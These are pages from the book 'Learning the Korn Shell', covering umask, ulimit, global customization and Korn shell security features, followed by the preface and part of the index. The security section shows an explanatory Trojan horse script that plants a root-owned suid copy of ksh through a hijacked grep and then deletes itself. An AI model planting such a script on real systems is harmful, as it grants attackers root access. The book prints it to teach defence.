Previous: 10.1 Installing the Korn Shell as the Standard Shell Chapter 10
Korn Shell Administration 		Next: 10.3 System Security Features

10.2 Environment Customization

Like the Bourne shell, the Korn shell uses the file /etc/profile for system-wide customization. When a user logs in, the shell reads and runs /etc/profile before running the user's .profile.

We won't cover all the possible commands you might want to put in /etc/profile. But the Korn shell has a few unique features that are particularly relevant to system-wide customization; we'll discuss them here.

We'll start with two built-in commands that you can use in /etc/profile to tailor your users' environments and constrain their use of system resources. Users can also use these commands in their .profile, or at any other time, to override the default settings.

10.2.1 umask

umask, like the same command in most other shells, lets you specify the default permissions that files have when users create them. It takes the same types of arguments that the chmod command does, i.e., absolute (octal numbers) or symbolic permission values.

The umask contains the permissions that are turned off by default whenever a process creates a file, regardless of what permission the process specifies. [4]

[4] If you are comfortable with Boolean logic, think of the umask as a number that the operating system logically XORs with the permission given by the creating process.

We'll use octal notation to show how this works. As you should know, the digits in a permission number stand (left to right) for the permissions of the owner, owner's group, and all other users, respectively. Each digit, in turn, consists of three bits, which specify read, write, and execute permissions from left to right. (If a file is a directory, the "execute" permission becomes "search" permission, i.e., permission to cd to it, list its files, etc.)

For example, the octal number 640 equals the binary number 110 100 000. If a file has this permission, then its owner can read and write it; users in the owner's group can only read it; everyone else has no permission on it. A file with permission 755 gives its owner the right to read, write, and execute it and everyone else the right to read and execute (but not write).

022 is a common umask value. This implies that when a file is created, the "most" permission it could possibly have is 755-which is the usual permission of an executable that a compiler might create. A text editor, on the other hand, might create a file with 666 permission (read and write for everyone), but the umask forces it to be 644 instead.

10.2.2 ulimit

The ulimit command was originally used to specify the limit on file creation size. But the Korn shell version has options that let you put limits on several different system resources. Table 10.1 lists the options.

Table 10.1: ulimit Resource Options
Option | Resource Limited
-a | All (for printing values only)
-c | Core file size (½ kb blocks)
-d | Process data segment (kb)
-f | File size (½ kb blocks)
-n | File descriptors
-s | Process stack segment (kb)
-t | Process CPU time (seconds)
-v | Virtual memory (kb)

Each takes a numerical argument that specifies the limit in units shown in the table. You can also give the argument "unlimited" (which may actually mean some physical limit), or you can omit the argument, in which case it will print the current limit. ulimit -a prints limits (or "unlimited") of all types. You can only specify one type of resource at a time. If you don't specify any option, -f is assumed.

Some of these options depend on operating system capabilities that don't exist in older UNIX versions. In particular, some older versions have a fixed limit of 20 file descriptors per process (making -n irrelevant), and some don't support virtual memory (making -v irrelevant).

The -d and -s options have to do with dynamic memory allocation, i.e., memory for which a process asks the operating system at runtime. It's not necessary for casual users to limit these, though software developers may want to do so to prevent buggy programs from trying to allocate endless amounts of memory due to infinite loops.

The -v option is similar; it puts a limit on all uses of memory. You don't need this unless your system has severe memory constraints or you want to limit process size to avoid thrashing.

You may want to specify limits on file size (-f and -c) if you have constraints on disk space. Sometimes users actually mean to create huge files, but more often than not, a huge file is the result of a buggy program that goes into an infinite loop. Software developers who use debuggers like sdb and dbx should not limit core file size, because core dumps are necessary for debugging.

The -t option is another possible guard against infinite loops. But we would argue that a program that is in an infinite loop but isn't allocating memory or writing files is not particularly dangerous; it's better to leave this unlimited and just let the user kill the offending program.

In addition to the types of resources you can limit, ulimit lets you specify hard or soft limits. Hard limits can be lowered by any user but only raised by the superuser (root); users can lower soft limits and raise them-but only as high as the hard limit for that resource.

If you give -H along with one (or more) of the options above, ulimit will set hard limits; -S sets soft limits. Without either of these, ulimit sets both. For example, the following commands set the soft limit on file descriptors to 64 and the hard limit to unlimited:

ulimit -Sn 64
ulimit -Hn unlimited

When ulimit prints current limits, it prints soft limits unless you specify -H.

10.2.3 Types of Global Customization

The best possible approach to globally-available customization would be a system-wide environment file that is separate from each user's environment file-just like /etc/profile is separate from each user's .profile.

Unfortunately, the Korn shell doesn't have this feature. If you assign a filename to the ENV environment variable, it could be overridden in a user's .profile. This allows you to make a default environment file available for users who don't have their own, but it doesn't let you have a system-wide environment file that runs in addition to the users'.

Nevertheless, the shell gives you a few ways to set up customizations that are available to all users at all times. Environment variables are the most obvious; your /etc/profile file will undoubtedly contain definitions for several of them, including PATH and TERM.

The variable TMOUT is useful when your system supports dialup lines. Set it to a number N, and if a user doesn't enter a command within N seconds after the shell last issued a prompt, the shell will terminate. This feature is helpful in preventing people from "hogging" the dialup lines.

You may want to include some more complex customizations involving environment variables, such as the prompt string PS1 containing the current directory (as seen in Chapter 4, Basic Shell Programming).

You can also turn on options, such as emacs- or vi- editing modes, trackall to make alias expansion more efficient and system security tighter, and noclobber to protect against inadvertent file overwriting. Any shell scripts you have written for general use also contribute to customization.

Unfortunately, it's not possible to create a global alias. You can define aliases in /etc/profile, but there is no way to make them part of the environment so that their definitions will propagate to subshells. (In contrast, users can define global aliases by putting their definitions in environment files.)

However, you can set up global functions. These are an excellent way to customize your system's environment, because functions are part of the shell, not separate processes. For example, if you define pushd and popd (see Chapters Chapter 4 through Chapter 6, Command-line Options and Typed Variables) as exported functions, the shell will run them almost as if they were built-in commands, as they are in the C shell.

The best way to create global functions is to use the built-in variable FPATH and the autoload feature that we introduced in Chapter 4. Just define FPATH as a function library directory, perhaps /usr/local/functions, and make it an environment variable by exporting it. In other words, put this or similar code in /etc/profile:

FPATH=/usr/local/functions
export FPATH

Then put each global function's definition in a file in that directory with the same name as the function, and put autoload fname for each of these functions in /etc/profile.

In either case, we suggest using exported functions for global customization instead of shell scripts. Given how cheap memory is nowadays, there is no reason why you shouldn't make generally useful functions part of your users' environment.

Previous: 10.1 Installing the Korn Shell as the Standard Shell | Learning the Korn Shell | Next: 10.3 System Security Features
10.1 Installing the Korn Shell as the Standard Shell | Book Index | 10.3 System Security Features
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.3 System Security Features

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 10.2 Environment Customization Chapter 10
Korn Shell Administration 		Next: A. Related Shells

10.3 System Security Features

UNIX security is a problem of legendary notoriety. Just about every aspect of a UNIX system has some security issue associated with it, and it's usually the system administrator's job to worry about this issue.

The Korn shell has three features that help solve this problem: the restricted shell, which is intentionally "brain damaged," the tracked alias facility that we saw in Chapter 3, Customizing Your Environment, and privileged mode, which is used with shell scripts that run as if the user were root.

10.3.1 Restricted Shell

The restricted shell is designed to put the user into an environment where his or her ability to move around and write files is severely limited. It's usually used for "guest" accounts. You can make a user's login shell restricted by putting rksh or ksh -r in the user's /etc/passwd entry.

The specific constraints imposed by the restricted shell disallow the user from doing the following:

  • Changing working directories: cd is inoperative. If you try to use it, you will get the error message "ksh: cd: restricted".

  • Redirecting output to a file: the redirectors >, >|, <>, and >> are not allowed.

  • Assigning a new value to the environment variables SHELL, ENV, or PATH.

  • Specifying any pathnames with slashes (/) in them. The shell will treat files outside of the current directory as "not found."

These restrictions go into effect after the user's .profile and environment files are run.

This means that the restricted shell user's entire environment is set up in .profile. Since the user can't overwrite that file, this lets the system administrator configure the environment as he or she sees fit.

Two common ways of setting up such environments are to set up a directory of "safe" commands and have that directory be the only one in PATH, and to set up a command menu from which the user can't escape without exiting the shell.

10.3.2 A System Break-in Scenario

Before we explain the other security features, here is some background information on system security that should help you understand why they are necessary.

Many problems with UNIX security hinge on a UNIX file attribute called the suid (set user ID) bit. This is like a permission bit (see umask above): when an executable file has it turned on, the file runs with an effective user ID equal to the owner of the file, which is usually root. The effective user ID is distinct from the real user ID of the process.

This feature lets administrators write scripts that do certain things that require root privilege (e.g., configure printers) in a controlled way. To set a file's suid bit, the superuser can type chmod 4755 filename; the 4 is the suid bit.

Modern system administration wisdom says that creating suid shell scripts is a very, very bad idea. [5] This has been especially true under the C shell, because its .cshrc environment file introduces numerous opportunities for break-ins. The Korn shell's environment file feature creates similar security holes, although the security features we'll see shortly make this problem less severe.

[5] In fact, some versions of UNIX intentionally disable the suid feature for shell scripts.

We'll show why it's dangerous to set a script's suid bit. Recall that in Chapter 3 we mentioned that it's not a good idea to put your personal bin directory at the front of your PATH. Here is a scenario that shows how this combines with suid shell scripts to form a security hole: a variation of the infamous "Trojan horse" scheme.

For this particular technique to work, the computer cracker has to find a user on the system with an suid shell script. In addition, the user must have a PATH with his or her personal bin directory listed before the public bin directories, and the cracker must have write permission on the user's personal bin directory.

Once the cracker finds a user with these requirements, he or she does the following:

  • Looks at the suid script and finds a common utility that it calls. Let's say it's grep.

  • Creates the Trojan horse: a shell script called grep in the user's personal bin directory that looks like this:

    cp /bin/ksh filename
chown root filename
chmod 4755 filename
/bin/grep "$@"
rm ~/bin/grep

    filename should be some unremarkable filename in a directory with public read and execute permission, such as /bin or /usr/bin. The file, when created, will be that most heinous of security holes: an suid interactive shell.

  • Sits back and waits for the user to run the suid shell script-which calls the Trojan horse, which in turn creates the suid shell and then self-destructs.

  • Runs the suid shell and creates havoc.

10.3.3 Tracked Aliases

The Korn shell protects against this type of scheme in two ways. First, it defines tracked aliases (see Chapter 3) for just about all commonly-used utilities: ls, mv, cp, who, grep, and many others. Since aliases take priority over executable files, the alias will always run instead of the Trojan horse.

Furthermore, the shell won't let you know about these if you type alias -t to see all tracked aliases. [6] You'll have trouble finding a command to use as your Trojan horse if you want to break in. This is a very clever-and undocumented-security feature.

[6] Unless you type whence -v command or type command. If command has a tracked alias, this will say so, and it will cause alias -t to report it next time.

10.3.4 Privileged Mode

The second type of protection against Trojan horses is privileged mode. This is a set -o option (set -o privileged or set -p), but the shell enters it automatically whenever it executes a script whose suid bit is set.

In privileged mode, when an suid Korn shell script is invoked, the shell does not run the user's environment file-i.e., it doesn't expand the user's ENV environment variable. Instead, it runs the file /etc/suid_profile.

/etc/suid_profile should be written so as to restrict suid shell scripts in much the same way as the restricted shell does. At a minimum, it should make PATH read-only (typeset -r PATH or readonly PATH) and set it to one or more "safe" directories. Once again, this prevents any decoys from being invoked.

Since privileged mode is an option, it is possible to turn it off with the command set +o privileged (or set +p). But this doesn't help the potential system cracker: the shell automatically changes its effective user ID to be the same as the real user ID-i.e., if you turn off privileged mode, you also turn off suid.

Privileged mode is an excellent security feature; it solves a problem that originated when the environment file idea first appeared in the C shell. Tracked aliases make protection against Trojan horses even stronger.

Furthermore, both features are strong arguments for installing the Korn shell as /bin/sh. Your system will be all the more impervious to break-ins if your standard shell has these security features.

Nevertheless, we still recommend against creating suid shell scripts. We have shown how the Korn shell protects against break-ins in one particular situation, but that certainly does not imply that the Korn shell is "safe" in any absolute sense. If you really must have suid scripts, you should carefully consider all relevant security issues.

Finally, if you would like to learn more about UNIX security, we recommend the O'Reilly & Associates Nutshell Handbook, Practical UNIX Security, by Gene Spafford and Simson Garfinkel.

Previous: 10.2 Environment Customization | Learning the Korn Shell | Next: A. Related Shells
10.2 Environment Customization | Book Index | A. Related Shells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Learning the Korn Shell

By Bill Rosenblatt; ISBN 1-56592-054-6, 336 pages.
First Edition, June 1993.
(See the catalog page for this book.)

Search the text of Learning the Korn Shell.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface
Chapter 1: Korn Shell Basics
Chapter 2: Command-line Editing
Chapter 3: Customizing Your Environment
Chapter 4: Basic Shell Programming
Chapter 5: Flow Control
Chapter 6: Command-line Options and Typed Variables
Chapter 7: Input/Output and Command-line Processing
Chapter 8: Process Handling
Chapter 9: Debugging Shell Programs
Chapter 10: Korn Shell Administration

Appendix A: Related Shells
Appendix B: Reference Lists
Appendix C: Obtaining Sample Programs

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the UNIX Operating System

Copyright © 1998 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
Korn Shell Versions
Summary of Korn Shell Features
Intended Audience
Code Examples
Chapter Summary
Conventions Used in This Handbook
Acknowledgments
We'd Like to Hear From You

The long, tortuous history of the UNIX operating system has resulted in systems with all kinds of permutations and combinations of features. This means that whenever you walk up to an unfamiliar UNIX system, you need to find out certain things about it in order to use it properly. And even on a given system, you may have a number of choices you can make about what features you want to use.

The most important such decision - if you get to make it - is what shell to use. "Shell" is UNIX jargon for the program that allows you to communicate with the computer by entering commands and getting responses. The shell is completely separate from the UNIX operating system per se; it's just a program that runs on UNIX. With other systems such as MS-DOS, the Macintosh, and VM/CMS, the command interpreter or user interface is an integral part of the operating system.

Nowadays there are dozens of different shells floating around, ranging from the original standard, the Bourne shell, to menu-based and graphical interfaces. The most important shells have been the Bourne shell, the C shell, and now the Korn shell - the subject of this book.

Korn Shell Versions

Specifically, this book describes the 1988 version of the Korn shell, which is distributed with all UNIX systems based on System V Release 4. There are various other versions, variations, and implementations on other operating systems; these are described in Appendix A, Related Shells.

To find out which version you have, type the command set -o emacs, then press CTRL-V. You should see a date followed by a version letter (the letter is unimportant). If you do, you have one of the official versions, whether it be the 1988 version or an older one. But if you don't, then you have a non-standard version such as pdksh, the public domain Korn shell discussed in Appendix A.

Learning the Korn Shell | Next: Summary of Korn Shell Features
Book Index | Summary of Korn Shell Features
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Summary of Korn Shell Features

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: Korn Shell Versions Preface Next: Intended Audience

Summary of Korn Shell Features

The Korn shell is the most advanced of the shells that are "officially" distributed with UNIX systems. It's a backward-compatible evolutionary successor to the Bourne shell that includes most of the C shell's major advantages as well as a few new features of its own.

Features appropriated from the C shell include:

  • Job control, including the fg and bg commands and the ability to stop jobs with CTRL-Z.

  • Aliases, which allow you to define shorthand names for commands or command lines.

  • Functions (included in some C shell versions), which increase programmability and allow you to store your own shell code in memory instead of files.

  • Command history, which lets you recall previously entered commands.

The Korn shell's major new features include:

  • Command-line editing, allowing you to use vi or emacs-style editing commands on your command lines.

  • Integrated programming features: the functionality of several external UNIX commands, including test, expr, getopt, and echo, has been integrated into the shell itself, enabling common programming tasks to be done more cleanly and without creating extra processes.

  • Control structures, especially the select construct, which enables easy menu generation.

  • Debugging primitives that make it possible to write tools that help programmers debug their shell code.

  • Regular expressions, well known to users of UNIX utilities like grep and awk, have been added to the standard set of filename wildcards and to the shell variable facility.

  • Advanced I/O features, including the ability to do two-way communication with concurrent processes (coroutines).

  • New options and variables that give you more ways to customize your environment.

  • Increased speed of shell code execution.

  • Security features that help protect against "Trojan horses" and other types of break-in schemes.

Previous: Korn Shell Versions | Learning the Korn Shell | Next: Intended Audience
Korn Shell Versions | Book Index | Intended Audience
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Intended Audience

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: Summary of Korn Shell Features Preface Next: Code Examples

Intended Audience

This book is designed to appeal most closely to casual UNIX users who are just above the "raw beginner" level. You should be familiar with the process of logging in, entering commands, and doing simple things with files. Although Chapter 1, Korn Shell Basics, reviews concepts such as the tree-like file and directory scheme, you may find that it moves too quickly if you're a complete neophyte. In that case, we recommend the O'Reilly & Associates Nutshell Handbook, Learning the UNIX Operating System, by Grace Todino and John Strang.

If you're an experienced user, you may wish to skip Chapter 1 altogether. But if your experience is with the C shell, you may find that Chapter 1 reveals a few subtle differences between the Korn and C shells.

No matter what your level of experience is, you will undoubtedly learn many things in this book that make you a more productive Korn shell user - from major features down to details at the "nook-and-cranny" level that you weren't aware of.

If you are interested in shell programming (writing shell scripts and functions that automate everyday tasks or serve as system utilities), you should find this book useful too. However, we have deliberately avoided drawing a strong distinction between interactive shell use (entering commands during a login session) and shell programming. We see shell programming as a natural, inevitable outgrowth of increasing experience as a user.

Accordingly, each chapter depends on those previous to it, and although the first three chapters are oriented toward interactive use only, subsequent chapters describe interactive user-oriented features in addition to programming concepts.

In fact, if this book has an overriding message, it is: "The Korn shell is an incredibly powerful and grossly undervalued UNIX programming environment. You - yes, you - can write useful shell programs, even if you just learned how to log on last week and have never programmed before."

Toward that end, we have decided not to spend much time on features of interest exclusively to low-level systems programmers. Concepts like file descriptors, errno error numbers, special file types, etc., can only confuse the casual user, and anyway, we figure that those of you who understand such things are smart enough to extrapolate the necessary information from our cursory discussions.

Previous: Summary of Korn Shell Features | Learning the Korn Shell | Next: Code Examples
Summary of Korn Shell Features | Book Index | Code Examples
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Code Examples

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: Intended Audience Preface Next: Chapter Summary

Code Examples

This book is full of examples of shell commands and programs that are designed to be useful in your everyday life as a user, not just to illustrate the feature being explained. In Chapter 4, Basic Shell Programming and onwards, we include various programming problems, which we call tasks, that illustrate particular shell programming concepts. Some tasks have solutions that are refined in subsequent chapters. The later chapters also include programming exercises, many of which build on the tasks in the chapter.

You should feel free to use any code you see in this book and to pass it along to friends and colleagues. We especially encourage you to modify and enhance it yourself.

If you want to try examples but you don't use the Korn shell as your login shell, you must put the following line at the top of each shell script:

#!/bin/ksh

If your Korn shell isn't installed as the file /bin/ksh, substitute its pathname in the above.

Previous: Intended Audience | Learning the Korn Shell | Next: Chapter Summary
Intended Audience | Book Index | Chapter Summary
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Chapter Summary

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: Code Examples Preface Next: Conventions Used in This Handbook

Chapter Summary

If you want to investigate specific topics rather than read the entire book through, here is a chapter-by-chapter summary:

Chapter 1

introduces the Korn shell and tells you how to install it as your login shell. Then it gives an introduction to the basics of interactive shell use, including overviews of the UNIX file and directory scheme, standard I/O, and background jobs.

Chapter 2, Command-line Editing,

discusses the shell's command history mechanism, including the emacs- and vi-editing modes and the fc history command.

Chapter 3, Customizing Your Environment,

covers ways to customize your shell environment without programming, by using the .profile and environment files. Aliases, options, and shell variables are the customization techniques discussed.

Chapter 4

is an introduction to shell programming. It explains the basics of shell scripts and functions, and discusses several important "nuts-and-bolts" programming features: string manipulation operators, regular expressions, command-line arguments (positional parameters), and command substitution.

Chapter 5, Flow Control,

continues the discussion of shell programming by describing command exit status, conditional expressions, and the shell's flow-control structures: if, for, case, select, while, and until.

Chapter 6, Command-line Options and Typed Variables,

goes into depth about positional parameters and command-line option processing, then discusses special types and properties of variables, such as integer arithmetic and arrays, and the typeset command.

Chapter 7, Input/Output and Command-line Processing,

gives a detailed description of Korn shell I/O, filling in the information omitted in Chapter 1. All of the shell's I/O redirectors are covered, as are the line-at-a-time I/O commands read and print. Then the chapter discusses the shell's command-line processing mechanism and the eval command.

Chapter 8, Process Handling,

covers process-related issues in detail. It starts with a discussion of job control, then gets into various low-level information about processes, including process IDs, signals, and traps. The chapter then moves out to a higher level of abstraction to discuss coroutines, two-way pipes, and subshells.

Chapter 9, Debugging Shell Programs,

discusses various debugging techniques, starting with simple ones like trace and verbose modes and "fake signal" traps. Then it presents kshdb, a Korn shell debugging tool that you can use to debug your own code.

Chapter 10, Korn Shell Administration,

gives information for system administrators, including techniques for implementing system-wide shell customization and features related to system security.

Appendix A

compares the 1988 UNIX Korn shell to several similar shells, including the standard Bourne shell, the IEEE 1003.2 POSIX shell standard, the Windowing Korn shell (wksh), public domain Korn shell (pdksh), the Free Software Foundation's bash, and the MKS Toolkit shell for MS-DOS and OS/2.

Appendix B, Reference Lists,

contains lists of shell invocation options, built-in commands, built-in variables, conditional test operators, options, typeset command options, and emacs and vi editing mode commands.

Appendix C, Obtaining Sample Programs,

lists the ways that you can obtain the major scripts in this book for free, using anonymous FTP or electronic mail.

Previous: Code Examples | Learning the Korn Shell | Next: Conventions Used in This Handbook
Code Examples | Book Index | Conventions Used in This Handbook
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Conventions Used in This Handbook

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: Chapter Summary Preface Next: Acknowledgments

Conventions Used in This Handbook

We leave it as understood that, when you enter a shell command, you press RETURN at the end. RETURN is labeled ENTER on some keyboards.

Characters called CTRL-X, where X is any letter, are entered by holding down the CTRL (or CTL, or CONTROL) key and pressing that letter. Although we give the letter in uppercase, you can press the letter without the SHIFT key.

Other special characters are LINEFEED (which is the same as CTRL-J), BACKSPACE (same as CTRL-H), ESC, TAB, and DEL (sometimes labeled DELETE or RUBOUT).

This book uses the following font conventions:

Italic

is used for UNIX filenames, commands not built into the shell, (which are files anyway), and shell functions. Italic is also used for dummy parameters that should be replaced with an actual value, to distinguish the vi and emacs programs from their Korn-shell modes, and to highlight special terms the first time they are defined.

Bold

is used for Korn shell built-in commands, aliases, variables, and options, as well as command lines when they are within regular text. Bold is used for all elements typed in by the user.

Constant Width

is used in examples to show the contents of files or the output from commands.

Constant Bold

is used in examples to show interaction between the user and the shell; any text the user types in is shown in Constant Bold. For example:

$ pwd
/users/billr/ora/kb
$

Constant Italic

is used in displayed command lines for dummy parameters that should be replaced with an actual value.

Reverse Video

is used in Chapter 2 to show the position of the cursor on the command line being edited. For example:

grep -l Bob < ~pete/wk/names

Standard UNIX utility commands are sometimes mentioned with a number in parentheses (usually 1) following the command's name. The number refers to the section of the UNIX User's Manual in which you'll find reference documentation (a.k.a. "man page") on the utility in question. For example, grep(1) means you will find the man page for grep in Section 1.

Previous: Chapter Summary | Learning the Korn Shell | Next: Acknowledgments
Chapter Summary | Book Index | Acknowledgments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Acknowledgments

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: Conventions Used in This Handbook Preface Next: We'd Like to Hear From You

Acknowledgments

Many people contributed to this book in many ways. I'd like to thank the following people for technical advice and/or assistance: for system administration help, John van Vlaanderen and Alexis Rosen. For information on alternative shells, John (again), Sean Wilson (of MKS), Ed Ravin, Mel Rappaport, and Chet Ramey. For identifying the need for a shell debugger, expertise in SunOS and system security, and, indeed, a significant portion of my career, Hal Stern. For debugger suggestions, Tan Bronson. For humanitarian aid, Jessica Lustig. And much thanks to David Korn for all kinds of great "horse's mouth" information - and, of course, for the Korn shell itself.

Thanks to our technical reviewers: Jim Baumbach, Jim Falk, David Korn, Ed Miner, Eric Pearce, and Ed Ravin. I especially appreciate the cooperation of Ed and Ed (in that order) during my "Whaddya mean, it doesn't work?!?" phase.

Several people at O'Reilly & Associates contributed to this effort: Gigi Estabrook and Clairemarie Fisher O'Leary proofread multiple drafts of the manuscript, Kismet McDonough and Donna Woonteiler copyedited the manuscript, Len Muellner implemented the book design macro package, Jennifer Niederst designed the cover and the format of the book, and Chris Reilley created the figures. Finally, an ocean of gratitude to Mike Loukides - editor, motivator, facilitator, constructive nit-picker, and constant voice of reason. He and the other folks at O'Reilly & Associates are some of the most innovative, interesting, and motivated people I've ever had the privilege to work with.

Previous: Conventions Used in This Handbook | Learning the Korn Shell | Next: We'd Like to Hear From You
Conventions Used in This Handbook | Book Index | We'd Like to Hear From You
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] We'd Like to Hear From You

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: Acknowledgments Preface Next: 1. Korn Shell Basics

We'd Like to Hear From You

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

Previous: Acknowledgments | Learning the Korn Shell | Next: 1. Korn Shell Basics
Acknowledgments | Book Index | 1. Korn Shell Basics
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

!
built-in variable : 8.4.2. Process ID Variables and Temporary Files
keyword in next release : A.7. The Future of the Korn Shell
negating a condition test : 5.1.3.3. File Attribute Checking
negation in character sets : 1.6.2. Filenames and Wildcards
POSIX shell keyword : A.2. The IEEE 1003.2 POSIX Shell Standard
regular expression operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
#
## pattern-matching operator
4.3.3. Pattern-matching Operators
6.2.2. Arithmetic Variables and Assignment
built-in variable : 4.2.1. Positional Parameters
comments : 4.3.1. Syntax of String Operators
length operator : 4.3.4. Length Operator
pattern-matching operator
4.3.3. Pattern-matching Operators
4.5. Advanced Examples: pushd and popd
5.5. while and until
size of an array : 6.3. Arrays
$
$' ANSI C string delimiter in next release : A.7. The Future of the Korn Shell
$(( )) : (see arithmetic expressions)
built-in variable
2.2. The History File
8.4.2. Process ID Variables and Temporary Files
%
%% pattern-matching operator
4.3.3. Pattern-matching Operators
4.5. Advanced Examples: pushd and popd
5.5. while and until
6.2.2. Arithmetic Variables and Assignment
pattern-matching operator
4.3.3. Pattern-matching Operators
5.2. for
5.3. case
specifying jobs
8.2.1. Foreground and Background
8.3.2. kill
A.1. The Bourne Shell
& : (see background jobs)
&&
for condition tests
5.1.3.3. File Attribute Checking
A.1. The Bourne Shell
for exit statuses
5.1.2. Combinations of Exit Statuses
5.5. while and until
A.2. The IEEE 1003.2 POSIX Shell Standard
for condition tests : 7.2.2.3. Code blocks
> : 1.7.2. I/O Redirection
< : 1.7.2. I/O Redirection
" (weak quotes) : 1.9.1. Quoting
(( )) : (see condition tests, arithmetic)
*
accessing entire array : 6.3. Arrays
as default in case statement : 5.3. case
built-in variable : 4.2.1. Positional Parameters
as default list in for statement : 5.2. for
as default list in select statement : 5.4. select
regular expression operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
wildcard
1.6.2. Filenames and Wildcards
9.2.3.3. Breakpoints
+
regular expression operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
.
current directory : 1.6.1.3. Changing working directories
to hide files : 1.6.2. Filenames and Wildcards
to run a script : 4.1. Shell Scripts and Functions
.. (directory) : 1.6.1.3. Changing working directories
:
:+
4.3.1. Syntax of String Operators
5.2. for
:-
4.3.1. Syntax of String Operators
4.5. Advanced Examples: pushd and popd
9.2.3.4. Break conditions
:= : 4.3.1. Syntax of String Operators
:?
4.3.1. Syntax of String Operators
4.5. Advanced Examples: pushd and popd
no-op command : 8.4. trap
;
;; in case statement : 5.4. select
statement separator
3.2. Aliases
5.1.3.1. String comparisons
9.2.5. Exercises
A.6. Workalikes on PC Platforms
?
built-in variable
5.1.1. Exit Status and Return
9.1.2.2. ERR
9.2.5. Exercises
regular expression operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
wildcard
1.6.2. Filenames and Wildcards
4.3.2.2. Korn shell versus awk/egrep regular expressions
@
built-in variable : 4.2.1. Positional Parameters
preserving whitespace : 6.3. Arrays
regular expression operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
9.2.3.3. Breakpoints
[ ] : (see condition tests, old syntax)
[ ] (wildcard)
1.6.2. Filenames and Wildcards
4.3.2.2. Korn shell versus awk/egrep regular expressions
[[ ]] : (see condition tests)
\ (backslash) : 1.9.2. Backslash-escaping
as continuation characters : 1.9.4. Continuing Lines
for quoting quote marks : 1.9.3. Quoting Quotation Marks
\" (weak quotes) : 3.4.1. Variables and Quoting
^
matching beginning of line in regular expressions
2.3.4. Moving Around in the History File
10.1. Installing the Korn Shell as the Standard Shell
as pipe character in Bourne shell
10.1. Installing the Korn Shell as the Standard Shell
A.1. The Bourne Shell
` (grave accent) : A.7. The Future of the Korn Shell
archaic command substitution delimiter
4.4. Command Substitution
A.1. The Bourne Shell
obsolescence in next release : A.7. The Future of the Korn Shell
|
|&, background job with two-way pipes
8.5.4. Coroutines with Two-way Pipes
8.5.5. Two-way Pipes Versus Standard Pipes
|| for condition tests
5.1.3.3. File Attribute Checking
A.1. The Bourne Shell
|| for exit statuses
5.1.2. Combinations of Exit Statuses
9.2.3.3. Breakpoints
A.2. The IEEE 1003.2 POSIX Shell Standard
as case pattern separator : 5.3. case
pipe
1.7.3. Pipelines
10.1. Installing the Korn Shell as the Standard Shell
A.1. The Bourne Shell
~ (tilde)
1.6.1.2. Tilde notation
7.3. Command-line Processing
7.3.1. Quoting
A.1. The Bourne Shell
A.2. The IEEE 1003.2 POSIX Shell Standard
in public domain Korn shell : A.4. pdksh
within double quotes : 3.4.1. Variables and Quoting
within variable expressions : A.7. The Future of the Korn Shell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

